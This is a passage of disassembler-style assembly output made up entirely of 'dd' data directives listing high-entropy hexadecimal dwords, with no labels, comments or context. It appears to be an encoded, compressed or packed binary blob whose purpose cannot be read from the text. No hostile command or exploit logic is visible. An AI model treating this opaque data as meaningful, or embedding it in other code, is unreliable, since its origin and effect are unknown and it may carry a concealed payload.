906687DFh, 46142A51h dd 43C76BE3h, 0E708488Bh, 63721378h, 0DE270739h, 8373A494h dd 0C3FA5F34h, 58B44A77h, 0AE3F2D87h, 0CC9DE76Eh, 27DEB061h dd 1EF7A8E7h, 7DDE30B4h, 6B60EA45h, 3348A5Ch, 0F404A9CAh dd 0E9F2E07Fh, 9FF117A0h, 0E147B009h, 0E43BA509h, 7175824Eh dd 4638FF74h, 61482268h, 6602DEECh, 611A1606h, 3101B70Fh dd 2DA86EFDh, 7B0251C9h, 8744C0B9h, 0D941162Dh, 0C2094338h dd 50C6ACF1h, 9BD6BD31h, 51E2851Eh, 4D31F17Fh, 14B220B6h dd 957BED70h, 0D76F0B98h, 0C285CA5Bh, 52C690EEh, 0F4A05756h dd 0D82F0AAEh, 40B85666h, 13864963h, 5AAACCA0h, 0E9758704h dd 0ABFD8290h, 29386A04h, 8794AB41h, 49B60812h, 0F7024E7Ch dd 99F9465h, 0BD1F635h, 47F40494h, 0F26B35F1h, 13C1D056h dd 0DDEADC37h, 8E6B2942h, 85811B8h, 898FB2D2h, 525360C5h dd 0A1DA7288h, 0E9E5B8Bh, 0F7F754C6h, 0AB5E3C4Dh, 0C416B12Bh dd 9728EF9Ch, 97BA4E51h, 80DE2518h, 3E4903CAh, 8AA00F5Fh dd 529A02B8h, 0F831C42Bh, 63087167h, 1F8A2C61h, 2171AD8Ch dd 531F0210h, 56215376h, 7E282D5Fh, 90D186B3h, 0E940B604h dd 4B2EB10h, 4009B540h, 544E5682h, 40D869F0h, 0A270B8E6h dd 50762127h, 90DF98FDh, 9B54279Ah, 8541AAD4h, 643EC212h dd 83C197E1h, 0DD16536Ch, 0CB9C517Eh, 76C82C68h, 58E0C0E3h dd 0F9904CFDh, 0A629D609h, 802F5604h, 864E981h, 0C1EB3E6Dh dd 0C6EB046Ch, 26209637h, 2CBA28F9h, 5F077E86h, 0AE9C81DAh dd 4A2EAC25h, 0F637783Dh, 0EE508F8Ah, 0B166BC07h, 85D816BFh dd 9307BB8Ah, 0B3E2DA25h, 0EE07D869h, 1B12664h, 0EDE909ADh dd 805857A4h, 5C0F69B1h, 59E87B4Fh, 17A70826h, 4122F354h dd 8C080011h, 2E136805h, 0E3F0A3E9h, 9B6DE5Ah, 48FC6EBCh dd 0E5BC540h, 0E005024Ah, 353A1560h, 983478E0h, 9CF4E916h dd 2C2D1A8Bh, 2DEB95DDh, 0BF012345h, 360D4168h, 5E72D13Bh dd 0D4092596h, 1B39A81Ch, 983A09BEh, 100E0B26h, 828D85A2h dd 0D0D7C17Dh, 52E87E5h, 0D2895858h, 0EBF89626h, 5A56F4B5h dd 0CBB84731h, 93E91116h, 0FAAC35A0h, 0D82806FEh, 1F7BF968h dd 751E715Ah, 0BA181E82h, 0E686C00Dh, 5F17780Ah, 3F10AA37h dd 1D3C09FEh, 0E1E609F3h, 5A705B7Ah, 3F7A41C2h, 70D57AA4h dd 777C97A6h, 53804A7Ah, 0BD90A84Ah, 9A35C800h, 457A32A9h dd 9FEAE533h, 0F5754CD9h, 0B56EF245h, 3662E459h, 5B350457h dd 0DEA75A0h, 6B636008h, 0F86E2093h, 687910BFh, 31445B6Dh dd 6B8690F0h, 9184C0B8h, 34F7BBE3h, 2E41894Bh, 8158FE4Bh dd 6ECC05Ch, 88C13930h, 51240C9h, 0F9E42F9Dh, 53F058B1h dd 0E007C14Eh, 0CC427FBDh, 0C17E2D06h, 0CFFFFF5Eh, 659E3BF2h dd 99939002h, 4E2A4BD5h, 12FEE361h, 0C98BE92Eh, 0B7170DFh dd 800A14BEh, 0C27DBC0Bh, 90BF6EDEh, 0B1FAB5E0h, 4242E925h dd 38965FA8h, 93B3FB95h, 0BB3A945Dh, 622AABB0h, 0E0D5817Ah dd 9A7000Bh, 9D14F447h, 0EB6FAD51h, 3C48F585h, 5290EB80h dd 0E9A27A25h, 0A2890824h, 0B98B9A0Bh, 804ABA75h, 153B51C5h dd 1ED8B075h, 0DD2F771Eh, 2CE3A4D1h, 122082AFh, 7E5E6537h dd 201FB07h, 5FFD29A1h, 0A81FDC6Ah, 5A33B4Ah, 12191210h dd 9C025250h, 7F023C6Ch, 1C00F74Eh, 0F73D3A12h, 49E94BDBh dd 51171797h, 0A873EBB5h, 1FE88D86h, 0EDD14F9Ch, 0D50D369h dd 7208BB1Eh, 82093F4Bh, 80E7C143h, 0DE5DF782h, 0A76B4B74h dd 497B515Eh, 0FE67D08Ch, 4F225E97h, 5A1278A8h, 934A82EFh dd 0B301B878h, 5BD88875h, 166AC320h, 7B71EFDFh, 0A807167h dd 363C90B9h, 6A90490Eh dd 0C50F8D6Dh, 40FE8930h, 98FE5CCEh, 0A4E3D95Eh, 7A4BCD0Fh dd 3CEC72h, 6A621FE3h, 81D8C8E9h, 34AFD8ACh, 0B0B45080h dd 4E4019Bh, 8885C480h, 0DE966CE5h, 0C01EF5CFh, 0E952FEEDh dd 46D45BB5h, 0F2EB87D0h, 8976C295h, 0D4EDD790h, 7025DA2Ch dd 4940CBAEh, 71E1A220h, 1D61BF74h, 18D2D8EAh, 8BADA9DFh dd 0B747EC3Ah, 0CA559DE2h, 82EF544Eh, 4BFE65A4h, 57EA0880h dd 54B76B3Ch, 0A0CC8ACh, 261ABA52h, 0D708948Ah, 4A7B872Fh dd 5F6FC500h, 48013694h, 8404AF5h, 0E9560A5Ah, 80D9972Bh dd 68DB66FEh, 0CF24A0BAh, 290C07A4h, 9BF1E08h, 5E874E18h dd 93A0BF58h, 0AF4E5BEDh, 0E8D4F0A0h, 0E99D093Bh, 0C6F140CDh dd 0D2FEF20h, 64E199B8h, 5D2F013Fh, 2B7F2C68h, 0C3436F8Bh dd 0E9393481h, 8F70820Eh, 4BFA0B21h, 7062477h, 136E24E2h dd 78892940h, 49412603h, 0E728FD05h, 0A68DC206h, 616697FBh dd 5697889Ah, 77618804h, 0ABEC5D13h, 2F6A6E1Ch, 58713254h dd 0FB6E123Eh, 0E984D6CAh, 7484AA72h, 8FACE2AEh, 0CEAE3689h dd 518F25BEh, 1E5C882Eh, 0BECC8007h, 18C0983h, 7BC5BB10h dd 21290C77h, 0D35B62DAh, 0B29AEFD8h, 5AF80A7h, 0C11EE610h dd 3B6F850Ch, 0E97F30B1h, 19045F4Fh, 0F7FA5A54h, 42FD5F4Dh dd 4EBFF3D3h, 25E902E0h, 87A07095h, 5D7D57D6h, 0B5C7F6B7h dd 68E06011h, 0A7C475B8h, 412C6F5h, 0E49ADE21h, 681E7F66h dd 0D6C976E6h, 12B37A4Eh, 887AF530h, 8B29591Eh, 19889E34h dd 78B80185h, 20C1FD3Eh, 0D14A4089h, 6CAA2990h, 5A6D2D88h dd 7E098AFBh, 8E64DDA4h, 1B026804h, 8CBF19CFh, 3E4074AFh dd 3704B804h, 34602CD0h, 0B6802F9h, 824E710Eh, 754A665Ch dd 7DFDE27Dh, 0E90471D1h, 0ABF48BCAh, 85964BCh, 897FAA5h dd 3E1D055Bh, 244E04BAh, 58F11641h, 0B0BC85E3h, 7F61BD02h dd 93776914h, 687D0EE6h, 96BD6D64h, 2EC5E15Dh, 37016F60h dd 499F984Dh, 0F94F305Bh, 13533DABh, 3A31FF46h, 0CB7BF187h dd 0A7641368h, 0FBD7C7BDh, 5BA6C1CCh, 0A21B920Ah, 5BD144F7h dd 0BB89C469h, 5AB29EF2h, 0ED0760D2h, 378878CAh, 5A8785B2h dd 7E054842h, 0AC44A107h, 34427006h, 0E9124E47h, 0CBFAA316h dd 0A377E59h, 57531C8Ch, 0EB270275h, 7EF83C1Bh, 3452DA5Fh dd 0FF382B55h, 755B8B0Bh, 4B920F65h, 0E9E668ABh, 0DF7C4427h dd 0CB6A49AEh, 14C90BBEh, 0A0629CF4h, 765009A7h, 5544429Dh dd 5B572589h, 74FE08DAh, 0AF66520Ah, 0E655F50Bh, 97A02063h dd 72B435A0h, 0EA203081h, 0BDE9551h, 8CBEF0A7h, 0A4B3FC8Eh dd 95509AC6h, 792C77D4h, 0E29CF5ADh, 8A60E97Bh, 1EF68092h dd 0E0F16488h, 8B680294h, 30CCC7Ch, 7D5B5798h, 0BB4B0CE9h dd 4BA77B98h, 5235EEC0h, 823CD82h, 5AF201C1h, 3F42A766h dd 0EE0589ADh, 0D0277E04h, 1A576874h, 90AEC69Dh, 3F370914h dd 3C545DE9h, 97B07527h, 508AAA44h, 505A9537h, 0E9955F92h dd 6F744126h, 20FB65Dh, 1A4871D4h, 0A0E68123h, 0EC4A2D09h dd 5FA17ECEh, 0D54702FBh, 6B602932h, 6DBF7AB6h, 0ACAC1714h dd 1F35E0A1h, 0B743F631h, 4FE9A502h, 9A24D54Bh, 0E00C1953h dd 3A68DD16h, 805427DFh, 0B9945CB1h, 0AA015454h, 5E64FDEFh dd 0C0EE312Dh, 41E9BC4h, 0F70155CFh, 3CF9C050h, 164FCD7Eh dd 81AA4585h, 2CA48D2Eh, 51089EACh, 9C528AFh, 731D1E3Ch dd 28003D8Bh, 4C6B9BF5h, 110484Ch, 42B9065Ch, 9F2CFE9h dd 413292F5h, 0FA2BFC3Eh, 0C8C57460h, 644F064Dh, 179F8BE9h dd 6E49EF06h, 9D563BE3h, 0B6D738D2h, 5BCD92BAh, 409B12F5h dd 968518Ch, 6A3E06F8h, 0A087AFCAh, 0DC51C9DBh, 59B07DCBh dd 8980FB79h, 8682DE0h, 0F1C4A07Ch, 0AB7613AEh, 9F40209Eh dd 0EEE19A62h, 7E492635h, 0D581A6Fh, 4DB5AF50h, 56A0D6Ch dd 47B92F16h, 328DFF12h, 0EB7FEA5Dh, 0F90C4F00h, 55A6580Ch dd 2FEE2A17h, 0D7680A60h, 1AAF726Ch, 0B7DC5513h, 0B0595F50h dd 2F1E9EB9h, 0B46296FBh, 0F78000A3h, 0FA25889Dh, 102EF05Bh dd 4D8288Bh, 0A4E92504h, 0D4EF9EC9h, 89D7A3BFh, 4CAB58BDh dd 1284A75Fh, 122D0B2Ah, 28FAD508h, 517BF059h, 0E8A93B66h dd 90B7D400h, 0B631E98Ah, 9DF6E5A8h, 143F1D02h, 8008EEC1h dd 923524E8h, 0AFF9043h, 4461690Eh, 6C7200D7h, 0EBC13871h dd 7B47CBA0h, 0CF6BD195h, 0EDA11BC9h, 3B22EF68h, 9D525968h dd 5996124Eh, 68F1F781h, 0AD3302C7h, 0EFAAB05Eh, 0CAFF7138h dd 5F7FAC8Bh, 280D1715h, 32FEC6D2h, 34E0E85Ch, 812EAD6h dd 0EA4ADECAh, 9903F039h, 417D803Bh, 0E1174FE9h, 0F4F97A08h dd 73403E89h, 5F006105h, 7D2D7608h, 0FE145917h, 16455C91h dd 0FD3BF886h, 61A5DF4Ah, 0C10474EDh, 3214B6Fh, 2CE3E15Fh dd 10F5E22Bh, 51014825h, 0C259DDB9h, 0D7CFF526h, 106810F2h dd 1809EE80h, 512B5A68h, 4BF0BD6Ah, 84ADBDE6h, 2D002733h dd 1D6C1ADFh, 0F4F52BEBh, 0C700BFEBh, 7AC0568h, 29576774h dd 2407CAF0h, 50ED028Ch, 8963789Bh, 105C62F7h, 6BBA9DC1h dd 1F9704FDh, 49888C19h, 0E2C6F899h, 4F2C737Ch, 5B62BC5Eh dd 175659A4h, 0BF022AB9h, 8BABCB53h, 0FA9630h, 20FA63CFh dd 366011E9h, 592AC12Bh, 0C0E6008h, 12E015ABh, 2036DC9Fh dd 140CD008h, 2543597Dh, 1005FC5Ah, 282770ADh, 0DCD18D4Bh dd 9E88229Eh, 0D59093CDh, 4717707Ch, 0FB8B626Bh, 36975258h dd 0F6A2B511h, 475830E9h, 3EA8B848h, 3EACDEE0h, 53C7467h dd 0BC7CD606h, 0AD020882h, 60C49FCBh, 0A1EB920Fh, 23D8659Eh dd 27E93E3Ch, 0FC2175AEh, 0E53BD5EBh, 98AB4049h, 81627C5h dd 0D409D931h, 0DD964ACEh, 6E33072Dh, 0E95E1380h, 12649E59h dd 354DCC33h, 0B9623E60h, 9FCE40B1h, 76872662h, 0E5DD0B51h dd 4FD0B11Fh, 843E36A6h, 115D9A0Eh, 0EDE04B7Bh, 27364C66h dd 26CA88C7h, 309C57D7h, 3C767D0Dh, 3464AC2Fh, 1EEE8984h dd 0FC191542h, 80E4D002h, 77C1F6ECh, 1CFE046Dh, 0BEF9D230h dd 8EF9C034h, 3BEC53CFh, 14DBA47h, 59D947Eh, 7BE42E90h dd 11B992AEh, 0D1F710CAh, 6F6A4318h, 412CEB3Fh, 0BF06B9D4h dd 0EE95101Eh, 7AAE45CAh, 680811CAh, 0D2F6EFDh, 0D63D0ABAh dd 519ECF03h, 1AF134B3h, 68993E96h, 0CD68A600h, 6B1B2C52h dd 1EE03E2h, 88B45056h, 8E4E2695h, 174DFCE4h, 0AFF402B2h dd 0F2E947D0h, 7D4CAE40h, 0D03F54CEh, 0BC70B35h, 2100127Dh dd 0BF51CB64h, 0B7C29Fh, 360F60B7h, 9B859710h, 0E90802EEh dd 1955C4B5h, 8100AB6Ah, 2716DAC9h, 0F0BC4DFBh, 9114824Eh dd 3B4EF069h, 3EB9D3F8h, 7F9B7092h, 0E8C762F2h, 619014BDh dd 4FDFF7h, 5A49B850h, 5F3502A5h, 5B473109h, 0B8225F48h dd 2D02DDCDh, 72817DAAh, 3E323F68h, 6A82ED8Dh, 6E21627Eh dd 51B6ECF7h, 2D2A0CF1h, 8674F29Ch, 880776EBh, 0E3A20A0Bh dd 0C2A782D2h, 0E5D75E25h, 516E09E4h, 0ACBCB2D9h, 0B8C03ABEh dd 5ACE254Fh, 29DB966h, 0E77893F3h, 0EE0DD44h, 239482DBh dd 500F6862h, 58F4B504h, 49C16858h, 28105152h, 13B94E7Eh dd 80A9E94Bh, 0BAE960B0h, 9539BA1Bh, 0C401494h, 0BFD95E4Ah dd 0A4BEA724h, 0BF433E09h, 0EB930553h, 764C7B8Fh, 68BEE90Bh dd 56E757FEh, 0CE4D59B1h, 95963060h, 41B62580h, 0D57AE680h dd 4F0BA04Ah, 0EFC5D7ACh, 0A9E6E989h, 0D7B105BDh, 642FD1A1h dd 0F66B81FDh, 44EC04DBh dd 9E201EA6h, 90FF9597h, 80F32B82h, 281DAD04h, 682D2CD0h dd 5B8968C5h, 6559F656h, 0C74B5ADEh, 0D37FA90Fh, 0AF5E1648h dd 4591AF28h, 74E2D94Bh, 5548588Bh, 198D05EAh, 0F8C3381Dh dd 0DFEA859Fh, 9DB84A38h, 0AA54C965h, 47FF5E2h, 5A21DC51h dd 8988D05Fh, 3460BD28h, 9C41EC0Fh, 30918803h, 2976AC10h dd 0A2C557Ah, 0A2180EA2h, 0E92507EBh, 0CCEA4AD4h, 68195856h dd 44EB2684h, 9A4F7B38h, 9B531002h, 66B7057Fh, 0BE3C4968h dd 0C00066A2h, 0CBFE05E3h, 0A56773E9h, 0A862432Ch, 5AC69B2Dh dd 5813B4C5h, 0D9C2CEBEh, 827CF4D0h, 7CF40372h, 706C83FDh dd 0E60B8792h, 0FCD19F90h, 6CDAE99Ch, 9C965F3Ch, 5C9BCD85h dd 0F5CA1391h, 73D4974Dh, 8F242E81h, 0BB8119B5h, 67F23A9Bh dd 6AB2FAEBh, 0D99155F7h, 780BF3B5h, 842BEB80h, 5C0F4482h dd 0AC9955DEh, 3617EE3Ch, 0C6E4043Ch, 8A298251h, 96955E09h dd 4C56EDFDh, 0D5C0420h, 91B8348Bh, 264671A9h, 0B3BA072Ah dd 778BE633h, 0E60D52Eh, 310D611Ch, 7C024C95h, 0D0034BE9h dd 0D3086CD8h, 0CA291D1Ah, 0EC080936h, 80CB5A10h, 59EC2820h dd 3FE2083Dh, 0EBEBE056h, 7B8E14DBh, 2869B93Ah, 2D400B46h dd 0ECF51A74h, 9A398B8h, 0B11F47C2h, 0A0CEA755h, 7AEA7639h dd 64B05C55h, 1FE3BF38h, 35E8352Fh, 53973618h, 17C5EB1Fh dd 16E95082h, 0DE467F14h, 4267056Bh, 0AF087121h, 35490238h dd 7CB72EF0h, 16D02F63h, 0A720FD0Bh, 5B20D739h, 0E7477F6Dh dd 0A50BE91Ch, 6916DF2Dh, 0C474352Dh, 20517936h, 44C16F95h dd 580154C1h, 21EF52Bh, 6CFD5F08h, 5354BF16h, 0B08AE9C1h dd 84E8E32Eh, 0E921B850h, 4B043AC8h, 0FAC340B6h, 0B3C698F9h dd 0A0F46228h, 79D577D8h, 50C56F1Eh, 749EB3EBh, 81CD7C88h dd 0F8412A5Eh, 20E21783h, 1E3F9629h, 3CABE9CEh, 0ADA9CFEDh dd 1627668Bh, 0AF2110BDh, 61B0314Eh, 70B52538h, 9F325797h dd 9C479B02h, 495DB290h, 8167D503h, 0C26945CAh, 0A017F17Ah dd 0EED932FFh, 8F82864h, 9C8CFC59h, 38FBC83Dh, 7FC470ACh dd 0BB067A19h, 565C7930h, 7FF927D1h, 0D571C59Ah, 4965F27h dd 1A956817h, 4096268Ch, 0BB055365h, 35B73CEFh, 0E6B06C2h dd 0C058C700h, 6C902E7h, 0C3408B03h, 0F509E246h, 0D13C1096h dd 2E047DE1h, 13E9025h, 8742DAC1h, 0E407CD3Bh, 54827862h dd 0E275CBD9h, 60F17F6Dh, 6E9068C1h, 5565DFC2h, 0EC700117h dd 9FFA10E9h, 76AF8659h, 1FC7B1Fh, 7BF8E9E0h, 0EA99902Ah dd 1850A0EFh, 45B703D8h, 90562232h, 0C571EEC5h, 0D85AA9A1h dd 6B0059FDh, 0A7352CF1h, 0E0E9A78h, 2AAC2D48h, 67050C40h dd 0F7AA118h, 0AE287FE0h, 4C62EC6Ch, 602A8844h, 8284C558h dd 0D69D2FF0h, 2D0154D4h, 63F0E70h, 5320D829h, 40584E6Dh dd 1811EF67h, 4ABF7F65h, 5E0802F1h, 3B84D589h, 8668A8EEh dd 77D512A7h, 7DB4BE5h, 4531680Ch, 7180BA24h, 2F0A9BC1h dd 1B5E52A1h, 5B5F08A0h, 92DF88EDh, 0F4D4543Eh, 8604BA26h dd 665ED80h, 33A816C6h, 0B2F04F75h, 0F51C904h, 20916B8h dd 3B80E17h, 3B35A137h, 0F516830Ch, 393B0E0Ch, 0EC32FDA5h dd 5F1453E4h, 0D2F18EA9h, 0E8882B0Ah, 47684C33h, 35E3EAF4h dd 3E7ABE00h, 50463727h, 9C48C4BDh, 34F60223h, 0EAFD2FA5h dd 84080979h, 21913F02h, 83BD07F4h, 58464A2Fh, 185FEDF2h dd 58DC90B5h, 14D9125h, 35F93126h, 16C10401h, 96E2068h dd 4D8FE5B2h, 11090E8Bh, 5902DB76h, 921617Ah, 8D5F000h dd 0E4ED5760h, 7F3F1737h, 5DEB8C75h, 7CB4E51h, 0B9133C5Bh dd 7F3DA03Fh, 0E3E2E929h, 442099Dh, 66AC4C48h, 1BF78717h dd 0FBB0081Ch, 0A0AF381h, 0DBDA0DCDh, 0A312B801h, 50E2E90Bh dd 0C66825BFh, 6B0BCE53h, 2A5D6879h, 0B02CF64Eh, 5B16405Ah dd 0AF167495h, 77A72D47h, 22583AB9h, 31EC59D9h, 2F94B657h dd 13FEBA00h, 15BDF750h, 2DA5D997h, 32F65E5Ah, 0B91F04B5h dd 29ED47EFh, 0E55DD4CEh, 0FF923BB5h, 0DE9A8758h, 894B6082h dd 0B076CBB0h, 7D4365F5h, 94EB86Eh, 3767321Ch, 625E6A55h dd 130765Dh, 968756F1h, 815D75E3h, 226A0E62h, 88DA013Fh dd 5D16088Eh, 708FC363h, 0D952BF6Ah, 66D3E913h, 3A0D3DFAh dd 417FB6CBh, 9BFB70B2h, 0F8BF4C71h, 7C25141h, 6AE3293Fh dd 0B448E8E2h, 0BCA191B5h, 0C25980FAh, 962361D4h, 7E029709h dd 0E80C801Eh, 67501F9Ah, 0E8F6A7FFh, 62354841h, 58149BF8h dd 0E9174E31h, 0BAE65289h, 5DC472A2h, 0EDCAAA31h, 7FFB4010h dd 205EA5ECh, 32D866A2h, 394F5668h, 0E9122AF3h, 6030B1B7h dd 82133E03h, 0EB87F513h, 0A184B8E2h, 3CAF6846h, 6E54E524h dd 0B781F7EEh, 494B7C4Eh, 1C0806E1h, 9470410Ch, 5B089A59h dd 0AEEE5202h, 22EA97C4h, 0BE71974Eh, 7736D7C9h, 81D4E92Fh dd 1846848h, 1123CC3Bh, 0F5EDB041h, 37083483h, 0F1EA1009h dd 5E1EC2D0h, 1BEA7468h, 5D5BE7F0h, 0B19AFB3h, 3E292CE8h dd 9A46AACh, 1B7E5DA8h, 62337BDAh, 0EF4A6E9h, 0B733590Ch dd 5B5140D3h, 1EBD5495h, 0BE31CCCDh, 0CFEEF887h, 0D69D519Ah dd 0A2EA014Ch, 0F81AC891h, 0F39D5BE2h, 0E5E94191h, 0A85034F0h dd 0BF020543h, 403D4693h, 0AD97F961h, 5D6C580Dh, 681CDE9Ch dd 0AF97A92Bh, 610B79CCh, 245D42Ch, 80649BCEh, 3C3E3F77h dd 6A7A97BBh, 1871F108h, 0AFB91B01h, 0F2714CBAh, 90D8DAADh dd 0C8C02052h, 742D5B1Ch, 7D5F288Fh, 55A55BA4h, 0B586036Ch dd 18A56813h, 113E2CBh, 597C8BEBh, 0C8AA96D5h, 64419E2Eh dd 0B0452E34h, 29324064h, 565AD72Fh, 508F83AFh, 83CB21F1h dd 167702BAh, 7F56BF09h, 4057739Ah, 2834149Ah, 77BE2D47h dd 327A0929h, 5605F109h, 0F849FB81h, 0D53BE2AEh, 0E9618BF9h dd 0A83FF1C2h, 6852C113h, 286E6F5Bh, 0C7B55A27h, 5A30A886h dd 0FFDE3449h, 0D04CEBCAh, 0F051120Eh, 0AE7C05Fh, 4F5B8055h dd 800DD4BDh, 82A26A0h, 995F0E9h, 3B87C04h, 0ECA4AD57h dd 0B508EE2h, 3551BA94h, 6818B46Ah, 98B82A4Dh, 174ECDD2h dd 0A85A0E5Ch, 0AD89A5FAh, 80E4EB60h, 7470C580h, 0DF59EA2Dh dd 5FC9560Eh, 4C01585Fh, 0F58365C7h, 73C3779Bh, 3FD171D9h dd 9F100AADh, 0A464895h, 39408368h, 0F0BBA81h, 853F26A9h dd 0A22DFE9Fh, 875ABC69h, 0A47BA5ABh, 0C8418BF3h, 1130AF31h dd 9252424h, 0FF91136Ah, 0BB31534Ah, 6E841717h, 641F69EFh dd 7925DF10h, 8AEBD545h, 76D7FEE5h, 7CB0DF7Bh, 3AD3690Bh dd 639A5506h, 0EAF7815Eh, 65C5977Eh, 0D153FAC2h, 0C5E825EAh dd 2697EBB9h, 4A8FCDC3h, 294ABF18h, 0D4A5EDCEh, 58C0325Ah dd 105C0F7h, 117EB7D5h, 0AC76855Ah, 7C1AF7FFh, 17415B4Fh dd 16A45405h, 0DA25FE2Ah, 12C52A1Eh, 0A2BF663Ah, 0A90BD63Ch dd 0E24CC3D3h, 7FFB7F8Ch, 0F4D2ABACh, 143308D3h, 71B5DF20h dd 0D0F26036h, 230E9491h, 42D58955h, 0F55A5DEBh, 3C012C91h dd 83028779h, 9C18B7A6h, 0E909BEFDh, 0B5560F6Dh, 1850116Eh dd 0B90AC04Fh, 51690142h, 6E80B802h, 7D29AC62h, 92C67FC8h dd 0D4A5062Fh, 10528C31h, 470FC2A1h, 6E6A8B50h, 0DE4D7859h dd 767A0075h, 8A24C181h, 14F8985h, 661022BFh, 25716477h dd 4475621Ch, 60F7F2FDh, 685812CFh, 629C0B30h, 5093CB71h dd 96CAF31Ch, 4AD50B88h, 9FFAF353h, 44EA9592h, 8C182DEBh dd 549D54BDh, 1C55CB04h dd 35682705h, 6B2E2EBh, 1E950B51h, 5591293h, 0AE2A95E5h dd 7AE93F2Ch, 7F51C0D9h, 587C4613h, 0ACA4D69Fh, 651606E6h dd 0E90B0205h, 0F5A940E1h, 3982EB87h, 27813B29h, 6E76AC68h dd 5E5830E0h, 0EEAD6456h, 33AAC5C5h, 3F4BEF3Bh, 6B36C8BBh dd 45B54CBAh, 7496BF3Fh, 302789B3h, 61824597h, 3D20EB95h dd 35692E73h, 320C82C6h, 7A55897Bh, 735E5D88h, 4F3D680Bh dd 0E2C1A21Ah, 0F5AE040Dh, 0DD0768BFh, 93C159A5h, 0F6AD521Fh dd 0F6657F7Eh, 8BA08816h, 8AA85EC7h, 0CB512462h, 4C3C9002h dd 0C197500Ah, 0B3E90206h, 4FB22F88h, 4CC36809h, 0DA75819Ah dd 878120C9h, 8F275D76h, 0FA6DD284h, 9FB3BAA8h, 31540FDEh dd 0DD6F78ECh, 367EC65Bh, 0AB2CB482h, 48447D01h, 733A0C25h dd 5198BD2Ah, 5DEA6D1Bh, 764C173h, 0EFB80574h, 10480058h dd 59310692h, 0B02F204Ah, 2D5A7825h, 0B27F8CCEh, 0F7F302B5h dd 1700FA9Bh, 133917E6h, 0B261EFD9h, 89545242h, 0F1EBB0BEh dd 20EF56BDh, 0CA96BFFEh, 2609DBB0h, 0CA5C5461h, 590804ECh dd 4B61B3FFh, 0E09372E6h, 9DE941DFh, 0A1CB5661h, 0BD60D988h dd 1ED5D3ADh, 0E968C282h, 2E77B1DAh, 9A6CE679h, 0FCC109A5h dd 0A45EF538h, 0AB799402h, 0F8E25DAEh, 3D9B8840h, 0D035B827h dd 19D8B779h, 3B0BEE51h, 4ABCCCC8h, 0E4B48D79h, 0C1B4417Eh dd 0C8AF4AB5h, 5471D9E0h, 7AA1074Bh, 44E90701h, 504E268h dd 0EAFE631Bh, 12E288C0h, 13724CBh, 60078954h, 25094846h dd 862F864Eh, 971A7A16h, 5F62A730h, 0D70242BAh, 0E6C1FE87h dd 108AD403h, 9A90790Ah, 6C8ADE80h, 0B427B236h, 0E4A620D6h dd 0F0003BEDh, 40EDE381h, 0B81F5A42h, 0AFD25E3Eh, 0E6A5DF97h dd 8850E035h, 2C5AF303h, 0E20F04A9h, 2EB5EA2h, 650558BDh dd 0D8B143F5h, 4170860Dh, 6FAD3F31h, 0A0C6E90Bh, 848C4D79h dd 17BD58D7h, 0B1E86FD9h, 77E42A23h, 21386CE9h, 0D90CF631h dd 60BF180h, 40E9ECECh, 50331277h, 8CC1AAB4h, 0EFD58417h dd 0C4E00C10h, 5D025F72h, 2A455196h, 900F98A0h, 0EB561E25h dd 0C12598E9h, 0BCDB173Dh, 0D181AFDFh, 1C9CF5F2h, 0CD81414Dh dd 415155A1h, 29C6B68Bh, 30F805E0h, 0FB010106h, 8CA81659h dd 8172A06Fh, 812D454Ch, 74736ABEh, 7DFD0C82h, 0CA555DA2h dd 0C080D44h, 41501402h, 80004D78h, 283D9CC3h, 84CC18CBh dd 0BF6C6B1h, 89128E26h, 32808F7Fh, 0B300BC13h, 7D3C01ADh dd 13F77681h, 81684852h, 97CE312Ah, 0D5E14BDCh, 0A04EBF4Fh dd 524F7851h, 5FA079EDh, 625FA368h, 137980F6h, 441A0F7Bh dd 96EE7B6h, 2445FD5Dh, 0B998B1A8h, 0D41BE32Dh, 0D5AE39ABh dd 9D0B20EBh, 8277B3E0h, 0FF5A6727h, 7E5C5119h, 0F030BF05h dd 92B0A3AAh, 101DB2FAh, 680C6BDBh, 0CE450A33h, 5794EB4Ah dd 88AB7E85h, 899255A7h, 73425AB7h, 0F7EB0B94h, 0B1D5F068h dd 4C34CB49h, 6BEE4987h, 0BAC06839h, 10020B0Ah, 6F00EE42h dd 0E9E32045h, 8148B44Eh, 0F7170AEAh, 0AD42EE4Ch, 4950D455h dd 8197957h, 0F62FA9C4h, 8BC59E18h, 68B0A442h, 9CBD36D7h dd 4F58BD62h, 72B0D26h, 4F61F500h, 33C11B96h, 5A1208E5h dd 0E023AA3Fh, 42095F5Ah, 812EF987h, 7B06F01h, 8F83D372h dd 6B8C4499h, 25DA0DD0h, 58A7A1C7h, 76E18A2Eh, 608BCE0Bh dd 3FC602DEh, 92BB0086h, 88B0AD28h, 2280EB04h, 55C0378Eh dd 94114DDFh, 37C0098h, 0C0E943F5h, 0A65A606Eh, 0F20A5CD5h dd 800209E4h, 0FF42F4h, 52CAFE50h, 1379B2F6h, 529A0FE9h dd 208C006Ah, 0EBC058C3h, 4527DB98h, 621077D7h, 0DE095EAEh dd 0FE51531Eh, 49825852h, 0C6C7CFC3h, 5945814Ah, 3699832Eh dd 605304A9h, 0DD23232h, 12DD8EEh, 3EB3C74Ah, 0AED068C5h dd 0E2BE0A34h, 8FEAE5EFh, 4ABA5E2Dh, 0A5963F5Fh, 0C8DAD2FCh dd 969B7275h, 5EF98288h, 0E8F56F40h, 0BD424EA0h, 0A5F54CAh dd 78051B34h, 0C9A02D9Dh, 0D1D2818h, 3E963B8Eh, 405F85Bh dd 437E1367h, 6AFE1FFh, 14801C08h, 205F04E9h, 0B7C4D38Ch dd 0E655C199h, 11742B5Fh, 0D08096EFh, 9DB7C138h, 73BFF531h dd 2FB99D91h, 7F21BAD5h, 0A5292995h, 5559408h, 8C6C6668h dd 5B4B5D1Fh, 0FF3A16EFh, 679B5045h, 12264BC8h, 0CD8401BAh dd 2E2A3DA6h, 540729B6h, 844685Bh, 71D360AEh, 6B586028h dd 5E4203Bh, 2DEE78B9h, 0C0EC949Ah, 9291F57h, 0C1774F79h dd 9A8B6D27h, 1325537Fh, 823EC53Dh, 0B484E880h, 0FC880B19h dd 7F0B09E0h, 5C4CB9C4h, 782024DFh, 9904D42h, 1924E875h dd 0EE30D75Bh, 5930D63Dh, 654341E7h, 0B287387Bh, 2B09D747h dd 0D0C610A2h, 8CDA207Fh, 0B958B313h, 9F3015Ah, 0D8175256h dd 7E18D8CBh, 771829DFh, 10722D87h, 7F27685Ah, 45EC20F4h dd 0DF6F9F61h, 0E9F8561Ch, 0BACA0394h, 0B01C3744h, 144D31F2h dd 86896CEDh, 0E90B8349h, 2825A333h, 0B3A321EFh, 3FE87B5Bh dd 0A6DED2A7h, 242627C8h, 0FC60EE9Fh, 0AF29C413h, 83269165h dd 